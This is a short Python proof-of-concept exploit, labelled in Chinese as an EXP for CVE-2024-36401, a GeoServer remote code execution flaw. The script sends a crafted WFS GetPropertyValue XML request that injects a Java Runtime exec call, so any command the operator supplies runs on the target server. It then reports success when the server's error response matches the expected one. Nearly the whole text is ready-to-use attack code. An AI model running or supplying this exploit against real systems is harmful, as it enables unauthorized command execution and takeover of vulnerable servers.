1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import sys import requests #proxy={'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} proxy = None def send_post_request(url, command): data = """<wfs:GetPropertyValue service='WFS' version='2.0.0' xmlns:topp='http://www.openplans.org/topp' xmlns:fes='http://www.opengis.net/fes/2.0' xmlns:wfs='http://www.opengis.net/wfs/2.0'> <wfs:Query typeNames='sf:archsites'/> <wfs:valueReference>exec(java.lang.Runtime.getRuntime(),"%s")</wfs:valueReference> </wfs:GetPropertyValue> """ % command host = url.replace('http://', '').replace('https://', '').rstrip('/') headers = { 'Host': '%s' % host, 'Accept-Encoding': 'gzip, deflate, br', 'Accept': '*/*', 'Accept-Language': 'en-US;q=0.9,en;q=0.8', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36', 'Connection': 'close', 'Cache-Control': 'max-age=0', 'Content-Type': 'application/xml', 'Content-Length': str(len(data)) # 数据长度 } try: response = requests.post(url+'/geoserver/wfs', data=data, headers=headers, proxies=proxy, timeout=15) if response.status_code == 400 and 'java.lang.ClassCastException' in response.text: print('[*]漏洞利用成功') print('响应码:%s' % response.status_code) print('响应体:\n%s' % response.text) except requests.exceptions.RequestException as e: print(f"An error occurred: {e}") if __name__ == "__main__": if len(sys.argv) != 3: print("Usage: python3 poc.py <url> <command>") sys.exit(1) url = sys.argv[1] command = sys.argv[2] print('CVE-2024-36401 Geoserver远程代码执行漏洞EXP') send_post_request(url.rstrip('/'), command)
|